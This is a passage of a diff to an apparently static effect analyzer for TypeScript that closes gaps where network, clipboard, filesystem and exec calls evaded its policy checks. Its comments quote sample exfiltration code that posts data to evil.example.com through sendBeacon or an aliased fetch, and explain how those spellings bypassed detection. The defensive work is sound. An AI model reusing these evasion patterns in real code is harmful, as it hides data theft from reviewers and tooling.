+ // delivers envp — secrets arrive through it (`--token=…`) exactly as they do through a variable.
4146
+ // candor-rust has always charged `std::env::args()` as Env; ts and swift read it as PURE, so a
4147
+ // cross-engine parity sweep found the three engines answering one question two ways, with NO
4148
+ // conformance row to catch it. This is conformance to §1's existing wording, not a new clause.
4149
+ // (The adjacent java ruling does NOT transfer: `System.getProperty` is excluded there because charging
4150
+ // it "flooded a scala-library scan with a spurious 14k Env" — JVM `-D` config read pervasively at
4151
+ // class-init. `argv` is read once in a main.)
4152
+ const isProcessArgvExpr = (expr) =>
4153
+ expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "argv" && identIsGlobalProcess(expr.expression);
4154
+
3885
4155
  // The set of local-binding SYMBOLS that alias process.env — collected below, one pre-pass over the
3886
4156
  // sources. A symbol lands here iff its ONLY initializer/assignment is `= process.env` (a reassignment
3887
4157
  // to anything else removes it → the alias is cleared, per the spec's reassignment rule).
@@ -4416,14 +4686,86 @@ function visitCalls(node) {
4416
4686
  // key on, so they read SILENT-PURE. `XMLHttpRequest.send`/`.open` issue the HTTP request; the
4417
4687
  // `EventSource`/`WebSocket` constructors open a connection on construction. Net. (Found by a
4418
4688
  // Net-deep sweep. The npm `ws` package is already κ-covered; this is the bare browser global.)
4419
- if (parent === "XMLHttpRequest" && (name === "send" || name === "open")) rec.direct.add("Net");
4689
+ // ⟨0.29⟩ …AND THE HOST SURFACE, which these branches did not touch. Adding `Net` here bypasses
4690
+ // the `eff === "Net"` block that captures the endpoint and — when it is a runtime value — marks
4691
+ // the surface `incomplete`. So an invisible endpoint reached this way was recorded as Net with
4692
+ // NO hedge, and any benign literal in the same function certified it. MEASURED, `policy ✓` at
4693
+ // exit 0 under `allow Net ok.example`:
4694
+ // await fetch("https://ok.example/a"); // captures ok.example
4695
+ // new WebSocket(u); // Net, no host, no `incomplete` ← goes anywhere
4696
+ // That is the masking evasion the `incomplete` machinery exists to prevent, reached through the
4697
+ // two Net APIs whose branches skip it. Same shape as the EventKit/`privacyKind` and
4698
+ // `FS_USE_VERBS` gaps: a refinement the general path performs and a carve-out does not.
4699
+ //
4700
+ // POSITION, per the DOM signatures: `xhr.open(method, url)` puts the URL at argument 1 — the
4701
+ // one API in this file whose locator is neither 0 nor a labelled argument. `send` carries NO
4702
+ // url (the endpoint was fixed at `open`), so it is a USE-VERB: it must not mark `incomplete`,
4703
+ // or every XHR with a perfectly visible `open` literal would fail closed.
4704
+ if (parent === "XMLHttpRequest" && (name === "send" || name === "open")) {
4705
+ rec.direct.add("Net");
4706
+ if (name === "open") {
4707
+ const u = (node.arguments ?? [])[1];
4708
+ const lit = u && ts.isStringLiteralLike(u)
4709
+ ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
4710
+ const h = lit ? hostLiteral(lit) : null;
4711
+ if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
4712
+ else rec.incomplete.add("Net");
4713
+ }
4714
+ }
4715
+ // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
4716
+ // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
4717
+ // PURE: `deny Net` answered exit 0 over
4718
+ // navigator.sendBeacon("https://evil.example.com/collect", data)
4719
+ // on published 0.29.0. Found by sweeping the ALIAS spelling across every effect-global — the
4720
+ // alias was the question, and the DIRECT call turned out to be missing too.
4721
+ // The URL is argument 0. No literal ⇒ `incomplete: Net`, the same fail-closed posture the
4722
+ // `open`/ctor branches take, so a runtime endpoint cannot be certified by an allowlist.
4723
+ // `navigator.clipboard.writeText/readText/write/read` — Clipboard, a §6.1 BOUNDARY effect:
4724
+ // data leaves the program on write and arrives from outside it on read. The family rolled
4725
+ // Clipboard out everywhere (candor-swift charges NSPasteboard in both directions, candor-rust
4726
+ // charges arboard), and the WEB clipboard was the hole: it read PURE, so
4727
+ // await navigator.clipboard.writeText(secret) under `deny Clipboard` → exit 0, policy ✓
4728
+ // on published 0.29.0. Found by sweeping every effect-bearing global rather than the one that
4729
+ // prompted the sweep. `clipboardy` was never affected — an import resolves through κ.
4730
+ if (parent === "Clipboard"
4731
+ && (name === "writeText" || name === "readText" || name === "write" || name === "read")) {
4732
+ rec.direct.add("Clipboard");
4733
+ }
4734
+ if (parent === "Navigator" && name === "sendBeacon") {
4735
+ rec.direct.add("Net");
4736
+ const u = (node.arguments ?? [])[0];
4737
+ const lit = u && ts.isStringLiteralLike(u)
4738
+ ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
4739
+ const h = lit ? hostLiteral(lit) : null;
4740
+ if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
4741
+ else rec.incomplete.add("Net");
4742
+ }
4743
+ // `crypto.getRandomValues(buf)` — the Web Crypto RNG is Rand, and `Rand` is in the vocabulary.
4744
+ // Node's `randomBytes` was already charged because it arrives through an IMPORT; the browser
4745
+ // global resolves to lib.dom and was charged nothing, so `deny Rand` passed over it.
4746
+ if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
4747
+ rec.direct.add("Rand");
4748
+ }
4420
4749
  // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
4421
4750
  // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
4422
4751
  // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
4423
4752
  // so the constructed identifier is the real browser global.
4424
4753
  if (ts.isNewExpression(node)) {
4425
- const ctorName = node.expression.getText();
4426
- if (ctorName === "EventSource" || ctorName === "WebSocket") rec.direct.add("Net");
4754
+ // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
4755
+ // Same defect as the call path, one node type over — hence the SHARED unwrap.
4756
+ const unCtor = unaliasGlobal(node.expression);
4757
+ const ctorName = unCtor.node.getText();
4758
+ if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
4759
+ if (ctorName === "EventSource" || ctorName === "WebSocket") {
4760
+ rec.direct.add("Net");
4761
+ // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
4762
+ const u = (node.arguments ?? [])[0];
4763
+ const lit = u && ts.isStringLiteralLike(u)
4764
+ ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
4765
+ const h = lit ? hostLiteral(lit) : null;
4766
+ if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
4767
+ else rec.incomplete.add("Net");
4768
+ }
4427
4769
  }
4428
4770
  } else {
4429
4771
  // The member token κ matches: the resolved declaration's name, EXCEPT a `new X()` call,
@@ -4450,9 +4792,23 @@ function visitCalls(node) {
4450
4792
  // allowlist discipline, generalized from Net to all 4 effects; sweep [11]). Fs: the fd/FileHandle
4451
4793
  // ops (fd came from open()); the path-taking fs.* fns are establishing. Exec: ChildProcess methods
4452
4794
  // (the command was fixed at spawn); the spawn fns are establishing.
4795
+ // The node `fs` verbs whose FIRST argument is a DESCRIPTOR, not a path — the fd came from a
4796
+ // prior `open()` whose path this analysis already saw, so their invisible destination is not a
4797
+ // gap and marking them `incomplete` charges every buffered write in a real tree.
4798
+ //
4799
+ // ⟨0.29⟩ `readv`/`writev` (+Sync) were MISSING, and the ⟨0.29⟩ positional-literal fix is what
4800
+ // made it visible: before it, `writev(fd, "/tmp/lit")` had its literal found ANYWHERE in the
4801
+ // call and published as a path — a fabrication — so the set was never consulted for these four.
4802
+ // Killing the fabrication moved them into the other wrong bucket. Found by generating a case
4803
+ // per node `fs` export rather than reasoning about the list (24 fd verbs in node, 20 here).
4804
+ //
4805
+ // Forgetting a member here OVER-charges (safe); adding a path-taking verb by mistake
4806
+ // UNDER-reports. An allowlist is the right shape for exactly that reason — the inverse of
4807
+ // the denylist rule that governs the classifier surface.
4453
4808
  const FS_USE_VERBS = new Set(["write", "writeSync", "read", "readSync", "close", "closeSync",
4454
4809
  "fsync", "fsyncSync", "fdatasync", "fdatasyncSync", "ftruncate", "ftruncateSync", "fchmod",
4455
- "fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync"]);
4810
+ "fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync",
4811
+ "readv", "readvSync", "writev", "writevSync"]);
4456
4812
  const EXEC_USE_VERBS = new Set(["kill", "send", "disconnect", "ref", "unref"]);
4457
4813
  const netEstablishing = (member) =>
4458
4814
  CONNECTING_CTORS.has(ctorClassName) || NET_ESTABLISHING.has(member)
@@ -4516,7 +4872,7 @@ function visitCalls(node) {
4516
4872
  // fetch/axios/the HTTP verbs), NEVER the first literal anywhere in the args: a trailing literal
4517
4873
  // in headers/body/options must not be read as the host (FINDING 6). Ollama's model decision runs
4518
4874
  // through the parsed host too, never a raw string that merely contains ":11434" (FINDING 1/9).
4519
- const urlLit = urlArgLiteral(node, member);
4875
+ const urlLit = urlArgLiteral(node, member, mod);
4520
4876
  const ollama = ollamaFromUrlArg(urlLit);
4521
4877
  if (ollama === "capture-model" || ollama === "capture-plain") {
4522
4878
  const h = hostLiteral(urlLit);
@@ -4544,7 +4900,16 @@ function visitCalls(node) {
4544
4900
  // parity #1) — any call into these single-purpose clients is a model dispatch. Additive.
4545
4901
  if (isModelSdkPackage(mod)) rec.direct.add("Llm");
4546
4902
  if (eff === "Db") {
4547
- const lit = firstStringLiteral(node);
4903
+ // ⟨0.29⟩ THE SQL SLOT, never the first literal anywhere. Every string-SQL client puts the
4904
+ // query at argument 0 (`query(text, values)`, `execute(sql, params)`, `raw(sql, bindings)`,
4905
+ // `prepare(sql)`), so a literal in a LATER position is a parameter, a fallback query, a
4906
+ // health-check string — data, not the statement being run. MEASURED:
4907
+ // `db.query(userSql, "SELECT * FROM audit_log")` published `tables: ["audit_log"]` and, because
4908
+ // a table HAD been captured, the masking guard below never fired — so `allow Db audit_log`
4909
+ // certified a query whose SQL is a runtime value. The `Fs` and `Net` defects of this rung, in
4910
+ // the fourth and last locator surface.
4911
+ const a0 = (node.arguments ?? [])[0];
4912
+ const lit = a0 && ts.isStringLiteralLike(a0) ? a0.text : null;
4548
4913
  const before = rec.tables.size;
4549
4914
  for (const t of lit ? tablesInSql(lit) : []) rec.tables.add(t);
4550
4915
  // ORM route: `this.userRepository.find(…)` — the receiver's `Repository<UserEntity>`
@@ -4564,12 +4929,27 @@ function visitCalls(node) {
4564
4929
  if (rec.tables.size === before && member !== "new") rec.incomplete.add("Db");
4565
4930
  }
4566
4931
  if (eff === "Exec") {
4567
- const lit = firstStringLiteral(node);
4568
- if (lit) rec.cmds.add(lit.trim().split(/\s+/)[0]); // cosmetic cmds surface (any literal)
4932
+ // ⟨0.29⟩ `cmds` reads argv[0] too. It was documented as "the cosmetic cmds surface (any
4933
+ // literal)", but `cmds` is precisely what `allow Exec <cmd>` gates on (AS-EFF-008) — nothing
4934
+ // cosmetic about it. No node API places a bare string after the head (args are an array,
4935
+ // options an object), so this changes no measured behaviour today; it removes the hazard for
4936
+ // the next exec-like wrapper whose second argument is a string, which is how the identical
4937
+ // defect reached `Fs`, `Net` and `Db` in this same rung.
4938
+ // ⟨0.29⟩ A USE-VERB NAMES NO PROGRAM, and its argument 0 is not a head. `EXEC_USE_VERBS`
4939
+ // already says so — it is consulted for the `incomplete` branch below and was NOT consulted
4940
+ // here, so `child.send(msg)` (IPC to an ALREADY-spawned child) read its MESSAGE as argv[0].
4941
+ // MEASURED: `ch.send("ls")` published `cmds: ["ls"]` and certified under `allow Exec ls`
4942
+ // though the function executes nothing, and `ch.send("curl")` FABRICATED `Net` — a function
4943
+ // that makes no network call reported as performing one, which `deny Net` then fires on.
4944
+ // That is exactly what the doc comment above forbids ("`spawn(toolVar, "curl")` must NOT
4945
+ // fabricate Net — the literal is an argument, not the program"); the rule was written for the
4946
+ // argument POSITION and never covered the same hazard reached through the RECEIVER.
4947
+ const lit = EXEC_USE_VERBS.has(member) ? null : programHeadLiteral(node);
4948
+ if (lit) rec.cmds.add(lit.trim().split(/\s+/)[0]);
4569
4949
  // a known literal head refines the cliff (curl→Net, candor→Fs/Env); Exec stays. The head
4570
4950
  // MUST be argv[0] (programHeadLiteral), NOT any literal arg: `spawn(toolVar, "curl")`
4571
4951
  // names no static program, so its trailing literal must not fabricate Net (spec §4).
4572
- const head = programHeadLiteral(node);
4952
+ const head = lit;
4573
4953
  if (head) for (const e of commandHeadEffects(head)) rec.direct.add(e);
4574
4954
  // masking (sweep [11]): an Exec call whose program head is NOT a static literal (runtime
4575
4955
  // command) leaves the command invisible. Establishing = the spawn fns; ChildProcess use-verbs
@@ -4577,12 +4957,16 @@ function visitCalls(node) {
4577
4957
  else if (!EXEC_USE_VERBS.has(member)) rec.incomplete.add("Exec");
4578
4958
  }
4579
4959
  if (eff === "Fs") {
4580
- const lit = firstStringLiteral(node);
4581
- const pathCaptured = lit && /[/\\]|^[.~]/.test(lit); // path-shaped literals only
4582
- if (pathCaptured) rec.paths.add(lit);
4960
+ // ⟨0.29⟩ the PATH POSITION, never the first literal anywhere — see fsPathLiteral.
4961
+ const { lits, complete } = fsPathLiteral(node, member);
4962
+ const captured = lits.filter((l) => /[/\\]|^[.~]/.test(l)); // path-shaped literals only
4963
+ const pathCaptured = captured.length > 0 && captured.length === lits.length;
4964
+ for (const l of captured) rec.paths.add(l);
4583
4965
  // masking (sweep [11]): a path-taking fs.* call whose path is NOT a captured literal (runtime
4584
4966
  // path) leaves it invisible. fd/FileHandle USE-verbs (fd came from a prior open()) are excluded.
4585
- else if (!FS_USE_VERBS.has(member)) rec.incomplete.add("Fs");
4967
+ // ⟨0.29⟩ `complete` also covers a two-path op whose SECOND path is runtime, which a captured
4968
+ // position-0 literal would otherwise certify.
4969
+ if (!(pathCaptured && complete) && !FS_USE_VERBS.has(member)) rec.incomplete.add("Fs");
4586
4970
  }
4587
4971
  // CANDOR_DEPS: an unclassified call into a package with a loaded sibling report inherits
4588
4972
  // that function's recorded transitive effects (+ literal surfaces) by `hash`.
@@ -4691,6 +5075,11 @@ function visitCalls(node) {
4691
5075
  // on process.env or a confirmed alias, destructuring a key off it, and the `in` membership test.
4692
5076
  {
4693
5077
  const markEnv = () => { const owner = enclosing(node); if (owner) fns.get(owner).direct.add("Env"); };
5078
+ // `process.argv` — the same channel, and the same ruling candor-rust has always applied to
5079
+ // `std::env::args()`. Reading the ARRAY is the read: `process.argv[2]`, `process.argv.slice(2)`,
5080
+ // `const [,,x] = process.argv`, or handing it to a parser all reach the same process-startup state.
5081
+ // Marked on the expression itself so every idiom counts without enumerating them.
5082
+ if (isProcessArgvExpr(node)) markEnv();
4694
5083
  // `process.env.KEY` / `env.KEY` (dot) and `process.env["KEY"]` / `env[k]` (bracket, literal OR dynamic key).
4695
5084
  if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node)) && readsProcessEnv(node.expression)) {
4696
5085
  markEnv();
@@ -4725,7 +5114,33 @@ function visitCalls(node) {
4725
5114
  // callee — `process.*` by exact text (mirroring the process.env match), `fetch` by identifier whose
4726
5115
  // symbol is NOT a local declaration (so a project's own `fetch` shadow never fabricates Net).
4727
5116
  if (ts.isCallExpression(node)) {
4728
- const callee = node.expression;
5117
+ // …AND THROUGH A LOCAL ALIAS OF THE GLOBAL, which is the spelling this block kept missing.
5118
+ //
5119
+ // Every test below reads the CALLEE NODE — `callee.text === "fetch"`, `ctext === "globalThis.fetch"`.
5120
+ // `const send = fetch; send(url)` has callee `send`, so it matched nothing and the call vanished:
5121
+ //
5122
+ // export async function exfil(data: string) {
5123
+ // const send = fetch;
5124
+ // await send("https://evil.example.com/collect", { method: "POST", body: data });
5125
+ // }
5126
+ // deny Net → exit 0, `policy ✓`, 0 effectful functions MEASURED on published 0.29.0
5127
+ //
5128
+ // A POST of caller data to an external host, certified clean: the cardinal sin. It is also the THIRD
5129
+ // spelling of one defect — the comment below records `globalThis.fetch` "read silent-pure" until it
5130
+ // was added beside the bare identifier. Fixing the instance and not the class is what left this one.
5131
+ //
5132
+ // Imports were never affected (`const g = fs.readFileSync; g(p)` charges Fs, and so do the named and
5133
+ // destructured forms) because those resolve through the symbol table. Only the GLOBALS matched here
5134
+ // are keyed by text, so only they needed unwrapping. candor-rust and candor-swift both charge the
5135
+ // aliased form already; this was ts alone.
5136
+ //
5137
+ // SHADOW-SAFE, which is the whole reason the guards below test the symbol rather than the name: the
5138
+ // unwrap yields the INITIALIZER NODE, so `const send = fetch` where `fetch` is a project-local
5139
+ // declaration still fails the "not declared in this project" test and fabricates nothing. Bounded to
5140
+ // 4 hops, and only through a plain identifier/property-access initializer — a rebinding, never a
5141
+ // computed value, so nothing here follows a function call or a conditional into a wrong answer.
5142
+ const un = unaliasGlobal(node.expression);
5143
+ const callee = un.node;
4729
5144
  const ctext = callee.getText().replace(/\s+/g, "");
4730
5145
  let geff = null;
4731
5146
  // The member path AFTER the global `process` object, or null: `process.hrtime` → "hrtime",
@@ -4749,15 +5164,70 @@ function visitCalls(node) {
4749
5164
  else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
4750
5165
  geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
4751
5166
 
4752
- else if (ts.isIdentifier(callee) && callee.text === "fetch"
4753
- && !(checker.getSymbolAtLocation(callee)?.declarations ?? [])
4754
- .some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))))
5167
+ // …AND `fetch` REACHED THROUGH AN IMPORT, which this guard was treating as the project's own.
5168
+ //
5169
+ // The guard asks "is this fetch declared in a project file?", so a project's own `fetch` never
5170
+ // fabricates Net. For `import { fetch } from "node-fetch-native/proxy"` the symbol's declaration is
5171
+ // the IMPORT SPECIFIER — which lives in the importing file, a project file — so the guard said yes
5172
+ // and withheld Net. Declared-in-a-project-file is not DEFINED-BY-the-project.
5173
+ //
5174
+ // MEASURED, and the shape is a MONOTONICITY VIOLATION:
5175
+ // without node_modules → `exfil` reports Unknown (honest — the import did not resolve)
5176
+ // WITH node_modules → `exfil` reports NOTHING, pure (silent)
5177
+ // Installing dependencies gives the analyzer MORE information and produced a LESS safe answer, and
5178
+ // `deny Net` certified `await fetch("https://evil.example.com/collect", {method:"POST", body:data})`.
5179
+ // Found on REAL code: giget's `_utils.download`, a function whose whole job is an HTTP download,
5180
+ // reported `['Fs']` alone with its 474 packages installed.
5181
+ //
5182
+ // Resolve THROUGH the alias: the aliased symbol's declaration says whether the project defines this,
5183
+ // and its NAME says whether it is `fetch` — so a renamed `import { fetch as nfn }` is caught too,
5184
+ // where the callee text is `nfn`. `import { fetch } from "./my-mock"` still lands in a project file
5185
+ // and still charges nothing.
5186
+ else if (ts.isIdentifier(callee) && (() => {
5187
+ const sym0 = checker.getSymbolAtLocation(callee);
5188
+ if (!sym0) return false;
5189
+ // WHERE DID IT COME FROM? The module SPECIFIER decides, not file-set membership. A RELATIVE
5190
+ // import is the project's own module by definition; a BARE specifier is a package. Keying on
5191
+ // `projectFiles` instead was wrong and the control caught it: scanning a single FILE leaves a
5192
+ // sibling `./mock` outside the analyzed set, so a project's own mock fabricated Net. The
5193
+ // specifier is the same thing κ classifies on, and it does not move with the scan's shape.
5194
+ for (const d of sym0.declarations ?? []) {
5195
+ const imp = ts.isImportSpecifier(d) ? d.parent?.parent?.parent
5196
+ : ts.isImportClause(d) ? d.parent
5197
+ : ts.isNamespaceImport(d) ? d.parent?.parent : null;
5198
+ const spec = imp && ts.isImportDeclaration(imp) ? imp.moduleSpecifier : null;
5199
+ if (spec && ts.isStringLiteralLike(spec)) {
5200
+ if (spec.text.startsWith(".") || spec.text.startsWith("/")) return false; // the project's own
5201
+ let t = sym0;
5202
+ if (t.flags & ts.SymbolFlags.Alias) { try { t = checker.getAliasedSymbol(t); } catch { /* unresolved */ } }
5203
+ if ((t?.getName?.() ?? callee.text) !== "fetch") return false;
5204
+ // …AND IT MUST BE SHAPED LIKE FETCH. The name alone is not evidence: a package exporting a pure
5205
+ // `fetch(key)` cache-getter was charged Net, and this file's own header says "resolve, don't
5206
+ // pattern-match". The checker already knows the answer — the web API returns `Promise<Response>`,
5207
+ // a cache-getter returns `{ key: string }` — so ask it rather than trusting the identifier.
5208
+ // Only the IMPORT rule is gated this way; the ambient global stays as it was, because it is
5209
+ // lib.dom's `fetch` by definition and would otherwise stop being charged wherever lib.dom is
5210
+ // absent. When no signature resolves at all, this returns false and the call falls through to
5211
+ // the unresolved-import path, which discloses Unknown — never a concrete effect on a guess.
5212
+ const rt = checker.getTypeAtLocation(callee);
5213
+ for (const sg of (rt?.getCallSignatures?.() ?? [])) {
5214
+ if (/\bResponse\b/.test(checker.typeToString(checker.getReturnTypeOfSignature(sg)))) return true;
5215
+ }
5216
+ return false;
5217
+ }
5218
+ }
5219
+ // Not an import at all: the ambient global, unless the project declares its own.
5220
+ if (callee.text !== "fetch") return false;
5221
+ return !(sym0.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
5222
+ })())
4755
5223
  geff = "Net";
4756
5224
  // the fully-qualified global fetch — `globalThis.fetch`/`window.fetch`/`self.fetch` — is a
4757
5225
  // PropertyAccess callee the bare-identifier guard above misses, so it read silent-pure. Mirror the
4758
5226
  // `eval` global-qualifier handling (a runtime global a project would not shadow).
4759
5227
  else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
4760
5228
  geff = "Net";
5229
+ // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
5230
+ if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
4761
5231
  if (geff) {
4762
5232
  const owner = enclosing(node);
4763
5233
  if (owner) {
@@ -4801,6 +5271,64 @@ function visitCalls(node) {
4801
5271
  const owner = enclosing(node);
4802
5272
  if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add("reflect:require"); }
4803
5273
  }
5274
+ // MODULE RESOLUTION READS THE FILESYSTEM — `require.resolve(m)`, `createRequire(u).resolve(m)`,
5275
+ // `import.meta.resolve(m)`. None of them EXECUTES the module (that is the `require(m)` arm above,
5276
+ // which discloses Unknown), but all three walk directories, read `package.json` files, and throw
5277
+ // MODULE_NOT_FOUND based on what they find: the answer is a function of what is on disk. It read PURE.
5278
+ //
5279
+ // Found by the MONOTONICITY oracle, and only by it: nypm's `doesDependencyExist` reported `Unknown`
5280
+ // with its dependencies absent and NOTHING once they were installed. (Two of that oracle's three
5281
+ // hits were legitimate refinements — consola resolving `string-width`/`strip-ansi` to genuinely pure
5282
+ // functions — so the instrument narrows the search, it does not decide.)
5283
+ //
5284
+ // INCOMPLETE, never a `paths` literal: the argument is a MODULE SPECIFIER, not a path, and the files
5285
+ // actually touched are a directory walk nobody wrote down. Publishing the specifier as a path would
5286
+ // fabricate a location; marking the surface incomplete is the fail-closed posture the masking guard
5287
+ // already takes for a runtime path, and the honest one for a call that reads unpredictable places.
5288
+ // Breadth measured before shipping: 2 of 34 cloned TS packages call these at all.
5289
+ {
5290
+ const ct2 = callee.getText().replace(/\s+/g, "");
5291
+ // SHADOW-GUARDED, like the `require(m)` arm one screen up — which this one originally was not.
5292
+ // Matching on TEXT alone charged Fs for a project's own `const require = { resolve: … }` shim, a
5293
+ // DI-injected `require` parameter, and a function merely NAMED `fakecreateRequire`. That is the
5294
+ // fabrication direction, in a rule whose sibling already carries the guard and says why: "a
5295
+ // project's own `require()` shadow never fabricates". Fixing an instance while its sibling
5296
+ // documents the class is this codebase's recurring failure, so the guard is reused verbatim.
5297
+ // RESOLVE THROUGH THE ALIAS — the same trap the `fetch` guard fell into. `import { createRequire }
5298
+ // from "node:module"` declares an ImportSpecifier IN THE IMPORTING FILE, so a declaration-site test
5299
+ // calls node's own function "the project's", and the first cut of this guard duly dropped the real
5300
+ // `createRequire(u).resolve(n)` to pure. What decides is where the symbol is DEFINED.
5301
+ const notProjectDeclared = (id) => {
5302
+ let sym = checker.getSymbolAtLocation(id);
5303
+ if (!sym) return true; // ambient global (node's `require`)
5304
+ if (sym.flags & ts.SymbolFlags.Alias) {
5305
+ try { sym = checker.getAliasedSymbol(sym); } catch { /* unresolved import — treat as external */ }
5306
+ }
5307
+ const decls = sym?.declarations ?? [];
5308
+ return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
5309
+ };
5310
+ const fromCreateRequire = (expr) => {
5311
+ if (!ts.isIdentifier(expr)) return false;
5312
+ const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
5313
+ if (!d || !ts.isVariableDeclaration(d) || !d.initializer) return false;
5314
+ if (!ts.isCallExpression(d.initializer)) return false;
5315
+ const ce = d.initializer.expression;
5316
+ // The CALLEE'S OWN NAME must be createRequire — `.endsWith` made `fakecreateRequire()` match.
5317
+ const nm = ts.isIdentifier(ce) ? ce.text
5318
+ : ts.isPropertyAccessExpression(ce) ? ce.name.text : "";
5319
+ if (nm !== "createRequire") return false;
5320
+ return !ts.isIdentifier(ce) || notProjectDeclared(ce);
5321
+ };
5322
+ const modResolve = ct2 === "import.meta.resolve"
5323
+ || (ct2 === "require.resolve" && ts.isPropertyAccessExpression(callee)
5324
+ && ts.isIdentifier(callee.expression) && notProjectDeclared(callee.expression))
5325
+ || (ts.isPropertyAccessExpression(callee) && callee.name.text === "resolve"
5326
+ && fromCreateRequire(callee.expression));
5327
+ if (modResolve) {
5328
+ const owner = enclosing(node);
5329
+ if (owner) { const r = fns.get(owner); r.direct.add("Fs"); r.incomplete.add("Fs"); }
5330
+ }
5331
+ }
4804
5332
  // Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
4805
5333
  // getters (the object-spread twin). Enumerate the sources' local getters.
4806
5334
  if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
@@ -5285,7 +5813,7 @@ function depInitCell(pkg, subpath) {
5285
5813
  let cell = null;
5286
5814
  for (const [h, c] of crossDeps) {
5287
5815
  if (!h.startsWith(`${pkg}#`) || !h.endsWith(".<module>")) continue;
5288
- cell ??= { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], netIncomplete: false };
5816
+ cell ??= { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], incomplete: new Set(), netIncomplete: false };
5289
5817
  for (const e of c.inferred) cell.inferred.add(e);
5290
5818
  for (const b of c.invisible) cell.invisible.add(b);
5291
5819
  for (const w of c.why ?? []) cell.why.add(w);
@@ -5398,6 +5926,9 @@ function resolveDepEntryKey(pkg, subpath) {
5398
5926
  // arm copies no `hosts` (a module unit's literals are not this caller's), so today it can only turn a
5399
5927
  // hostless Net that a sibling literal in THIS body would have certified back into `unknown-host`.
5400
5928
  if (cell.netIncomplete) rec.incomplete.add("Net");
5929
+ // ⟨0.29⟩ every OTHER effect the dependency could not locate, carried the same way. Without this the
5930
+ // join copies the dep's Fs and drops its "I could not see where", which is the fail-open above.
5931
+ for (const eff of cell.incomplete ?? []) rec.incomplete.add(eff);
5401
5932
  }
5402
5933
  for (let changed = true; changed; ) {
5403
5934
  changed = false;
@@ -5557,7 +6088,11 @@ for (const m of ["hosts", "tables", "cmds", "paths", "blind", "incomplete", "fsK
5557
6088
  // ---- emit: the §2 envelope (effect-free items omitted) + the §2.2 sidecar (EVERY fn a key) --------
5558
6089
  // ⟨0.20⟩ Net destination-class partners from `.candor/config` — read ONCE here, used by the report's per-fn
5559
6090
  // `netClass` field (below) and the gate (deny Net[unknown-host]); the SAME set both surfaces resolve.
5560
- const netPartners = parseNetPartners(discoverConfigText(target));
6091
+ // ⟨0.29⟩ …and a malformed `net-partner` line is DISCLOSED rather than kept as a junk host that matches
6092
+ // nothing for the rest of the run. Printed once, here, beside the other config diagnostics.
6093
+ const netPartnerErrs = [];
6094
+ const netPartners = parseNetPartners(discoverConfigText(target), netPartnerErrs);
6095
+ for (const e of netPartnerErrs) console.error(`candor-ts: ${e.why} — ${e.raw}`);
5561
6096
  const functions = [];
5562
6097
  for (const [name, rec] of fns) {
5563
6098
  const inf = [...inferred.get(name)].sort();
@@ -5592,6 +6127,19 @@ for (const [name, rec] of fns) {
5592
6127
  if (inf.includes("Db") && rec.tables.size) entry.tables = [...rec.tables].sort();
5593
6128
  if (inf.includes("Exec") && rec.cmds.size) entry.cmds = [...rec.cmds].sort();
5594
6129
  if (inf.includes("Fs") && rec.paths.size) entry.paths = [...rec.paths].sort();
6130
+ // ⟨0.29⟩ SPEC §2 `incomplete` — the effects whose LOCATOR this fn could not determine. Omitted when
6131
+ // empty, so a scan that determined everything is byte-identical to a pre-rung report.
6132
+ //
6133
+ // THIS ENGINE USED TO KEEP IT INTERNAL, on a premise about the family that was FALSE. The comment at the
6134
+ // dep-join said `rec.incomplete` is "deliberately INTERNAL family-wide (java/rust keep it out of the
6135
+ // report too)" — candor-rust has emitted it all along, and SPEC §2 says so in the clause right beside
6136
+ // the one this engine was following. MEASURED, and the cost is a false all-clear on a configured gate:
6137
+ // a dependency whose `Fs` path is a runtime value published NOTHING to say so, so a consumer that also
6138
+ // writes ONE allowed literal joined `paths: ['/tmp/lit']` with no incompleteness marker and
6139
+ // `allow Fs /tmp/lit` answered `policy ✓`. candor-rust, over the identical shape, charges AS-EFF-008.
6140
+ // An absent `paths` is overloaded between "reaches no path" and "reaches a path I could not see", and
6141
+ // this field is the only thing that separates them.
6142
+ if (rec.incomplete.size) entry.incomplete = [...rec.incomplete].sort();
5595
6143
  // SPEC §2 `fs` — the read/write kinds this fn's OWN Fs calls revealed. Gated on `inferred` carrying Fs
5596
6144
  // (the spec: "applies only when `inferred` contains `Fs`") and omitted when empty.
5597
6145
  //
@@ -6051,7 +6599,10 @@ function fnv1aHex(sortedQuals) {
6051
6599
